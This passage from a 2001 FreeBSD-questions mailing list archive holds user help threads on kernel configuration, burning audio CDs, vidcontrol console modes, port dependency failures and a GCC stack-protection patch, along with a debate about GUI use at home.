people are using. > Which ones? I see a rare marquee extension now and then, but that's about it. The one I see when I look is the MS tag for embedding things, as opposed to OBJECT. I forget the name of it. > > That latter is the real difference. Writing an > > application that works in a GUI environment on > > both Windows and other platforms is a PITA, > > and MS is doing everything they can to keep > > it that way. > What choice do they have? Actually paying attention to the anti-trust laws, and honoring the license agreements they sign that have portability stipulations in them would be nice. > > All traps in kernel mode go through a procedure > > that does a core dump before rebooting the > > machine. > Maybe I missed the dump. Where does it go by default? I looked in what seemed > like likely places, like / and /tmp and what-not, but I didn't see anything that > ended in .core. They aren't on by default, but they go to /var/crash. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 19:14:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web20209.mail.yahoo.com (web20209.mail.yahoo.com [216.136.226.64]) by hub.freebsd.org (Postfix) with SMTP id 3555C37B417 for ; Tue, 20 Nov 2001 19:14:57 -0800 (PST) Message-ID: <20011121031456.13392.qmail@web20209.mail.yahoo.com> Received: from [66.32.128.91] by web20209.mail.yahoo.com via HTTP; Tue, 20 Nov 2001 19:14:56 PST Date: Tue, 20 Nov 2001 19:14:56 -0800 (PST) From: pedro almodovar Subject: help compiling the kernel To: freebsd-questions@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG i am new to freebsd. the thing is that i am trying to compile the kernel so i can use my dsl. i read an article about it, and tells me to compile it with the following options options NETGRAPH pseudo-device tun my question is, WHERE do i put those lines? I am also getting en error message running /usr/sbin/config to the kernel config: line 127: no isa's to wildcard it's the line referring to the keyboard driver thanks __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 19:16: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from IMGate1.cshore.com (imgate1.cshore.com [63.237.136.14]) by hub.freebsd.org (Postfix) with ESMTP id 668C937B419 for ; Tue, 20 Nov 2001 19:16:02 -0800 (PST) Received: from there (unknown [63.112.157.210]) by IMGate1.cshore.com (Postfix) with SMTP id 5AD1B23EF0 for ; Tue, 20 Nov 2001 22:40:24 -0500 (EST) Content-Type: text/plain; charset="iso-8859-1" From: Matthew Graybosch Reply-To: matthew@starbreaker.net Organization: starbreaker.net Message-Id: <200111202211.02851@starbreaker.net> To: freebsd-questions@freebsd.org Subject: Copying Audio CDs Date: Tue, 20 Nov 2001 22:23:43 -0500 X-Mailer: KMail [version 1.3] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have a 56X Acer CD-ROM on IDE1 Master listed as /dev/cdrom and a 40X/12X/8X Sony CD-RW on IDE1 Slave listed as /dev/cdrw, and I'm trying to copy the audio tracks from CD I've inserted in /dev/cdrom to /dev/cdrw. I've read the man pages for burncd and mkisofs, and neither mention anything about audio cds. Searching the mailing list archives didn't help much either, nor did looking through BSDVault or the FreeBSD Diary. If anybody can point me to documentation on how to copy audio CDs using the cdrtools from ports I'd appreciate it. - -- Matthew Graybosch http://www.starbreaker.net GnuPG Key ID: 0x7D488659 "Sex, Unix, and rock 'n roll" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+x4/cCiK1X1IhlkRAqm1AKDsc19O5oZYBzTGCOqoNIZwbw9ARgCgsklq 0a1NFv+LNGZVS0QGN8ZkjxU= =cWeG -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 19:31:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from IMGate1.cshore.com (imgate1.cshore.com [63.237.136.14]) by hub.freebsd.org (Postfix) with ESMTP id 8DACC37B405 for ; Tue, 20 Nov 2001 19:31:55 -0800 (PST) Received: from there (unknown [63.112.157.210]) by IMGate1.cshore.com (Postfix) with SMTP id 1F69B23F6F; Tue, 20 Nov 2001 22:56:22 -0500 (EST) Content-Type: text/plain; charset="iso-8859-1" From: Matthew Graybosch Reply-To: matthew@starbreaker.net Organization: starbreaker.net Message-Id: <200111202228.47120@starbreaker.net> To: "Anthony Atkielski" , freebsd-questions@freebsd.org Subject: Re: home pc use Date: Tue, 20 Nov 2001 22:39:34 -0500 X-Mailer: KMail [version 1.3] References: <00a601c17202$0f9af880$0a00000a@atkielski.com> In-Reply-To: <00a601c17202$0f9af880$0a00000a@atkielski.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Tuesday 20 November 2001 15:29, you wrote: > Maybe I should take a poll: How many FreeBSD users here are > satisfied with just the standard command-line interface and > interactions through terminal-style remote programs like telnet or > ssh? I'll raise my hand, but I daresay that I won't see too many > other hands going up. Unfortunately, I grew up on MS Windows and MS-DOS, so I'm still somewhat hooked on GUIs. I still use X programs instead of sticking strictly to a commandline. Frankly, I don't like staring at a bare console. Then again, I don't need all the fancy crap that KDE and GNOME throw in my face, so I use Window Maker, and for Window Maker I have 3 themes (not counting the default themes) all of which are shades of blue, grey, and black. Mouse? Hardly need one unless I'm working with GIMP or playing QuakeForge. I don't even use the menu, unless I want to change themes; I have keybindings for everything and half a dozen XTerm windows for launching apps and handling stuff like FTP, SSH, or general file management. All it really comes down to is use what you like and we'll use what we like. All this about using Windows because that's what you need on the job really isn't relevent to a "home pc use" thread, is it? Personally, I wouldn't give a damn if you were using the Microsoft Bob interface -- it's your business. As for me, when I'm at work I use what my boss pays me to use. At home, however, I want my BSD. - -- Matthew Graybosch http://www.starbreaker.net GnuPG Key ID: 0x7D488659 "Sex, Unix, and rock 'n roll" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+yH2cCiK1X1IhlkRAtUBAKCdqIQVzvliaAP7OBgV0UapKq+XqACfbxpY icY9zTd+0AWEHbEln2yOcS0= =dHnX -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 19:32:48 2001 Delivered-To: freebsd-questions@freebsd.org Received: from home.com (c1737881-a.plano1.tx.home.com [65.10.46.29]) by hub.freebsd.org (Postfix) with ESMTP id 63BDD37B405 for ; Tue, 20 Nov 2001 19:32:45 -0800 (PST) Received: (from mcbrune@localhost) by home.com (8.11.6/8.11.4) id fAL3Whe03573; Tue, 20 Nov 2001 21:32:43 -0600 (CST) (envelope-from mcbrune) From: mcbrune Message-Id: <200111210332.fAL3Whe03573@home.com> Subject: Re: help compiling the kernel In-Reply-To: <20011121031456.13392.qmail@web20209.mail.yahoo.com> To: pedro almodovar Date: Tue, 20 Nov 2001 21:32:43 -0600 (CST) Cc: freebsd-questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL92 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Check the Documentation on www.freebsd.org. There is a step-by step instruction in the handbook. Look for Configuring the Kernel (Chapter 9). For starters, you will need to edit /sys/i386/conf/, and add the options below. Next, you will need to type config . Hope this helps!! Corey > i am new to freebsd. the thing is that i am trying to > compile the kernel so i can use my dsl. i read an > article about it, and tells me to compile it with the > following options > > options NETGRAPH > > pseudo-device tun > > my question is, WHERE do i put those lines? > I am also getting en error message running > /usr/sbin/config to the kernel > > config: line 127: no isa's to wildcard > > it's the line referring to the keyboard driver > thanks > > > > __________________________________________________ > Do You Yahoo!? > Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. > http://geocities.yahoo.com/ps/info1 > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 19:34:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f84.law8.hotmail.com [216.33.241.84]) by hub.freebsd.org (Postfix) with ESMTP id 2607637B416 for ; Tue, 20 Nov 2001 19:34:16 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 20 Nov 2001 19:34:16 -0800 Received: from 209.226.241.169 by lw8fd.law8.hotmail.msn.com with HTTP; Wed, 21 Nov 2001 03:34:15 GMT X-Originating-IP: [209.226.241.169] From: "Pierre-Luc Drouin" To: matthew@starbreaker.net Cc: freebsd-questions@freebsd.org Subject: Re: Copying Audio CDs Date: Wed, 21 Nov 2001 03:34:15 Mime-Version: 1.0 Content-Type: text/html; charset=iso-8859-1 Message-ID: X-OriginalArrivalTime: 21 Nov 2001 03:34:16.0109 (UTC) FILETIME=[654B4DD0:01C1723D] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG

use dagrab to extract wave from audio cds

use "burncd -s yourspeed audio file1.wav file2.wav fixate" to burn audio cds

>From: Matthew Graybosch
>Reply-To: matthew@starbreaker.net
>To: freebsd-questions@freebsd.org
>Subject: Copying Audio CDs
>Date: Tue, 20 Nov 2001 22:23:43 -0500
>
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>I have a 56X Acer CD-ROM on IDE1 Master listed as /dev/cdrom and a
>40X/12X/8X Sony CD-RW on IDE1 Slave listed as /dev/cdrw, and I'm
>trying to copy the audio tracks from CD I've inserted in /dev/cdrom
>to /dev/cdrw.
>
>I've read the man pages for burncd and mkisofs, and neither mention
>anything about audio cds. Searching the mailing list archives didn't
>help much either, nor did looking through BSDVault or the FreeBSD
>Diary.
>
>If anybody can point me to documentation on how to copy audio CDs
>using the cdrtools from ports I'd appreciate it.
>- --
>Matthew Graybosch
>http://www.starbreaker.net
>GnuPG Key ID: 0x7D488659
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Téléchargez MSN Explorer gratuitement à l'adresse http://explorer.msn.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 19:46:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 418CF37B417 for ; Tue, 20 Nov 2001 19:46:23 -0800 (PST) Received: (qmail 84484 invoked by uid 100); 21 Nov 2001 03:46:37 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15355.9117.91882.40355@guru.mired.org> Date: Tue, 20 Nov 2001 21:46:37 -0600 To: Greg Lehey Cc: questions@freebsd.org Subject: Re: home pc use In-Reply-To: <31042019@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greg Lehey types: > I think you're looking from your standpoint. But note that the > average user is also very badly educated about computers. When that > changes, software will get better than the current Microsoft junk. Unfortunately, that probably won't happen. Even people who are educated about computers and realize that it's junk keep on using it. That's because the cost of converting is so much higher than the benefit of converting. I mean - how many of people really care about being able to install new applications without having to reboot? Or find a crash to be more than a minor inconvenience? And so on ... http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 19:57: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tora.wellsfargo.com (tora.wellsfargo.com [159.37.7.58]) by hub.freebsd.org (Postfix) with ESMTP id A866F37B405 for ; Tue, 20 Nov 2001 19:57:04 -0800 (PST) Received: from unixm3.wellsfargo.com (unixm3.wellsfargo.com [10.12.71.94]) by tora.wellsfargo.com (8.12.0/8.12.0) with ESMTP id fAL3uxeR016361 for ; Tue, 20 Nov 2001 19:56:59 -0800 (PST) Received: from xcgi-calax-02.wellsfargo.com (localhost [127.0.0.1]) by unixm3.wellsfargo.com (8.9.3/8.9.3) with ESMTP id TAA27267 for ; Tue, 20 Nov 2001 19:53:05 -0800 (PST) From: holtzerd@WellsFargo.COM Received: by xcgi-calax-02.wellsfargo.com with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Nov 2001 19:56:59 -0800 Message-ID: <8961C8232850D311BF5A0001FA7E06B40432490E@xcem-casfo-06.wellsfargo.com> To: freebsd-questions@FreeBSD.ORG Subject: Installation question Date: Tue, 20 Nov 2001 19:56:51 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I tried to install FreeBSD on my PC from a FreeBSD CD but everytime I try to install it says that it cannot install the KERNEL. What would cause this? thanks To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 19:57:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id 7688137B405 for ; Tue, 20 Nov 2001 19:57:43 -0800 (PST) Received: (from dan@localhost) by dan.emsphone.com (8.11.6/8.11.6) id fAL3vak36338; Tue, 20 Nov 2001 21:57:36 -0600 (CST) (envelope-from dan) Date: Tue, 20 Nov 2001 21:57:35 -0600 From: Dan Nelson To: Marc Cc: freebsd-questions@FreeBSD.ORG Subject: Re: File-attach Message-ID: <20011121035735.GA51854@dan.emsphone.com> References: <066201c1722e$d745ea30$6400a8c0@Marc> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <066201c1722e$d745ea30$6400a8c0@Marc> User-Agent: Mutt/1.3.23.2i X-OS: FreeBSD 5.0-CURRENT X-message-flag: Outlook Error Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In the last episode (Nov 20), Marc said: > How do I send an output file as an file-attachment via email using > something similar to the following line: > > perl procedure.pl | mail john.doe@domain.com Please don't piggy-back questions onto other threads. You can use the mutt mailer to attach arbitrary files to messages: echo "see attached" | mutt -a /boot/kernel/kernel user@host.com Or if you are using perl, see the p5-MIME-Lite or p5-MIME-Lite ports. which generate and send MIME multipart messages. -- Dan Nelson dnelson@allantgroup.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 19:59:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kayak.xcllnt.net (209-128-86-226.bayarea.net [209.128.86.226]) by hub.freebsd.org (Postfix) with ESMTP id 4796537B405; Tue, 20 Nov 2001 19:58:39 -0800 (PST) Received: from dhcp01.pn.xcllnt.net (dhcp01.pn.xcllnt.net [192.168.4.201]) by kayak.xcllnt.net (8.11.6/8.11.4) with ESMTP id fAL3wXQ55057; Tue, 20 Nov 2001 19:58:33 -0800 (PST) (envelope-from marcel@kayak.pn.xcllnt.net) Received: (from marcel@localhost) by dhcp01.pn.xcllnt.net (8.11.6/8.11.3) id fAL3x2V00766; Tue, 20 Nov 2001 19:59:02 -0800 (PST) (envelope-from marcel) Date: Tue, 20 Nov 2001 19:59:02 -0800 From: Marcel Moolenaar To: Nevermind Cc: Cyrille Lefevre , "David O'Brien" , Andreas Klemm , ports@FreeBSD.ORG, questions@FreeBSD.ORG Subject: Re: linux_base-{6|7} && staroffice-{52|6} (was: PORTVERSION=6.1 wrong in linux_base-62 ???) Message-ID: <20011120195902.A695@dhcp01.pn.xcllnt.net> References: <20011115211037.B721@dhcp01.pn.xcllnt.net> <200111161203.fAGC3FI05149@gits.dyndns.org> <20011116184522.A528@athlon.pn.xcllnt.net> <20011119150708.B13357@nevermind.kiev.ua> <20011119105703.A39046@dhcp01.pn.xcllnt.net> <20011119211445.B11785@nevermind.kiev.ua> <20011119133046.B50804@kayak.xcllnt.net> <20011120143959.A3345@nevermind.kiev.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011120143959.A3345@nevermind.kiev.ua> User-Agent: Mutt/1.3.21i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 02:39:59PM +0200, Nevermind wrote: > > > > > A recent -STABLE machine with a linux kernel module before the Mega-MFC. > Had it been coomited? I mean 2.4.x linux kernel module? It is committed. > P.S. There is another PR about the same situation: > http://www.freebsd.org/cgi/query-pr.cgi?pr=ports/31086 Ok, this is more recent than my latest attempt to install the port on a -stable box (which worked fine). My knowledge is stale, so I guess it's up to the maintainer. -- Marcel Moolenaar USPA: A-39004 marcel@xcllnt.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 20: 0:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pogo.caustic.org (caustic.org [64.163.147.186]) by hub.freebsd.org (Postfix) with ESMTP id CF68B37B418 for ; Tue, 20 Nov 2001 20:00:32 -0800 (PST) Received: from localhost (jan@localhost) by pogo.caustic.org (8.11.6/8.11.6) with ESMTP id fAL40Tk23920; Tue, 20 Nov 2001 20:00:29 -0800 (PST) (envelope-from jan@caustic.org) Date: Tue, 20 Nov 2001 20:00:29 -0800 (PST) From: "f.johan.beisser" X-X-Sender: To: Cc: Subject: Re: Installation question In-Reply-To: <8961C8232850D311BF5A0001FA7E06B40432490E@xcem-casfo-06.wellsfargo.com> Message-ID: <20011120195855.C16958-100000@localhost> X-Ignore: This statement isn't supposed to be read by you X-TO-THE-FBI-CIA-AND-NSA: HI! HOW YA DOIN? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001 holtzerd@WellsFargo.COM wrote: > I tried to install FreeBSD on my PC from a FreeBSD CD but everytime I try to > install it says that it cannot install the KERNEL. > What would cause this? could you give us more information than that? -------/ f. johan beisser /--------------------------------------+ http://caustic.org/~jan jan@caustic.org "if my thought-dreams could be seen.. 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Freestart Kft HelpDesk +36 1 2256060 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 20:11:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from www.kpi.com.au (www.kpi.com.au [203.39.132.210]) by hub.freebsd.org (Postfix) with ESMTP id A690937B41A for ; Tue, 20 Nov 2001 20:11:55 -0800 (PST) Received: from kpi.com.au (localhost.kpi.com.au [127.0.0.1]) by www.kpi.com.au (8.9.3/8.9.3) with ESMTP id PAA80976 for ; Wed, 21 Nov 2001 15:19:51 +1100 (EST) (envelope-from johnsa@kpi.com.au) Message-ID: <3BFB297E.B80F5A27@kpi.com.au> Date: Wed, 21 Nov 2001 15:11:42 +1100 From: Andrew Johns X-Mailer: Mozilla 4.7 [en-gb] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Subject: Re: GCC stack smashing protection for 4.4-STABLE? References: <3BF1EE29.49275AED@kpi.com.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Update info only The patch is trivially applied to the source, given the time to do it manually (I was in a hurry last week to get it installed and tested on an IDS box before delivery). Andrew Johns wrote: > > All, > > [Please CC me as I'm not on questions - if I get no answer I may > try -security] > > I've looked at http://www.trl.ibm.com/projects/security/ssp/ for > Hiroaki Etoh's patch to gcc for 4.3. This patch doesn't apply > cleanly to current source (cvsupped today) as per the > documentation (it's for 4.3, not 4.4). > > So, my question is this: Is anyone maintaining this code/patch to > gcc? If so, where may I be able to get it from? > > If it doesn't exist, that's OK - I don't have the time to submit > a patch for the patch today... > -- Andrew Johns ================================================================ .NET: M$'s latest vapourware attempt. .NOT: What the rest of us think about it. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 20:24: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from out002pub.verizon.net (out002pub.verizon.net [206.46.170.102]) by hub.freebsd.org (Postfix) with ESMTP id 7D9D437B417 for ; Tue, 20 Nov 2001 20:24:04 -0800 (PST) Received: from verizon.net (pool-141-150-205-234.delv.east.verizon.net [141.150.205.234]) by out002pub.verizon.net with ESMTP for ; id fAL4OuU06731 Tue, 20 Nov 2001 22:24:57 -0600 (CST) Message-ID: <3BFB2B69.A4C71B0E@verizon.net> Date: Tue, 20 Nov 2001 23:19:53 -0500 From: "J. Brian Walters" Reply-To: j.bw@verizon.net X-Mailer: Mozilla 4.73 [en]C-CCK-MCD BA45DSL (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: questions@freebsd.org Subject: gnucash/guppi Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm trying to install gnucash but it is failing becuase of a lib dependency of guppidata.11 which is supposed to be in guppi 0.40.0 . guppi-0.40.0 is installed but I did a pkg_info -L guppi-0.40.0 and there is no guppidata.11 in the listing. This causes gnucash to fail in the installation. What can be done to fix this so I can install gnucash? thanks, Brian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 20:25:54 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail24.sdc1.sfba.home.com (femail24.sdc1.sfba.home.com [24.0.95.149]) by hub.freebsd.org (Postfix) with ESMTP id 4FBF437B417 for ; Tue, 20 Nov 2001 20:25:49 -0800 (PST) Received: from cx2021383a ([24.18.143.140]) by femail24.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20011121042548.LLVE28663.femail24.sdc1.sfba.home.com@cx2021383a> for ; Tue, 20 Nov 2001 20:25:48 -0800 Message-ID: <000801c17244$982ca5d0$8c8f1218@cx2021383a> From: "Brad Phlipot" To: Subject: BSD for my IBOOK Date: Tue, 20 Nov 2001 23:25:47 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0005_01C1721A.AEFAE940" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C1721A.AEFAE940 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, Im trying to locate "BSD" for my Ibook apple notebook. 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=20 =20 ------=_NextPart_84815C5ABAF209EF376268C8-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 20:52:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 9BD4337B416 for ; Tue, 20 Nov 2001 20:52:22 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAL4qJo59730; Wed, 21 Nov 2001 05:52:20 +0100 (CET) Message-ID: <001101c17248$4d59b120$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "list" Cc: "FreeBSD Questions" References: <014d01c1721d$74e0c470$0a00000a@atkielski.com> <20011120164631.B11629@museum.rain.com> <01bd01c17227$0da4f510$0a00000a@atkielski.com> <20011120181448.A11883@museum.rain.com> <01e901c17234$5f742e80$0a00000a@atkielski.com> <20011120183650.B11883@museum.rain.com> Subject: Re: How do I set vidcontrol modes? Date: Wed, 21 Nov 2001 05:52:13 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I found out what I was doing wrong after further explanations in e-mail. I got it to work, but none of the smaller arrangements of the screen was very readable on my TFT display, so I just changed the font to swiss and left it at 80x25 for now. ----- Original Message ----- From: "list" To: "Anthony Atkielski" Cc: "FreeBSD Questions" Sent: Wednesday, November 21, 2001 03:36 Subject: Re: How do I set vidcontrol modes? > There is a page at www.mostgraveconcern.com/freebsd which covers > setting up vidcontrol. You might get the rest of what you're missing > from there. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 20:53:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 0D6D937B417 for ; Tue, 20 Nov 2001 20:53:31 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAL4rIw60136; Wed, 21 Nov 2001 05:53:18 +0100 (CET) Message-ID: <001601c17248$724dd600$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "list" , Cc: "FreeBSD Questions" References: <014d01c1721d$74e0c470$0a00000a@atkielski.com> <20011120164631.B11629@museum.rain.com> <01bd01c17227$0da4f510$0a00000a@atkielski.com> <20011120181448.A11883@museum.rain.com> <3.0.5.32.20011120205123.00fc5ac0@mail.sage-american.com> Subject: Re: How do I set vidcontrol modes? Date: Wed, 21 Nov 2001 05:53:12 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I was not specifying a font. It started working after I specified a font. Why are the graphic modes verboten? ----- Original Message ----- From: To: "Anthony Atkielski" ; "list" Cc: "FreeBSD Questions" Sent: Wednesday, November 21, 2001 03:51 Subject: Re: How do I set vidcontrol modes? > Have you entered the necessary fonts for those modes in the rc.conf.....??? > > See /etc/defaults/rc.conf for the fonts..... > > At 03:29 AM 11.21.2001 +0100, Anthony Atkielski wrote: > >A few of them work, many don't. Shouldn't all the modes listed by the > command > >also be accepted by it?? I get "Invalid argument" messages on the modes that > >don't work. > > > >----- Original Message ----- > >From: "list" > >To: "Anthony Atkielski" > >Cc: "FreeBSD Questions" > >Sent: Wednesday, November 21, 2001 03:14 > >Subject: Re: How do I set vidcontrol modes? > > > > > >> On Wed, Nov 21, 2001 at 01:54:13AM +0100, Anthony Atkielski wrote: > >> > >> > So how do I pick a mode off the list and > >> > specify it in a subsequent vidcontrol command in order to change modes? > >> > >> For starters, you can ignore the graphics modes: > >> > >> vidcontrol -i mode | grep -w T > >> > >> Then enter the keyword that follows the T. > >> > >> 0 (0x000) 0x00000001 T 40x25 8x8 0xb8000 32k 32k > 0x00000000 32k > >> 1 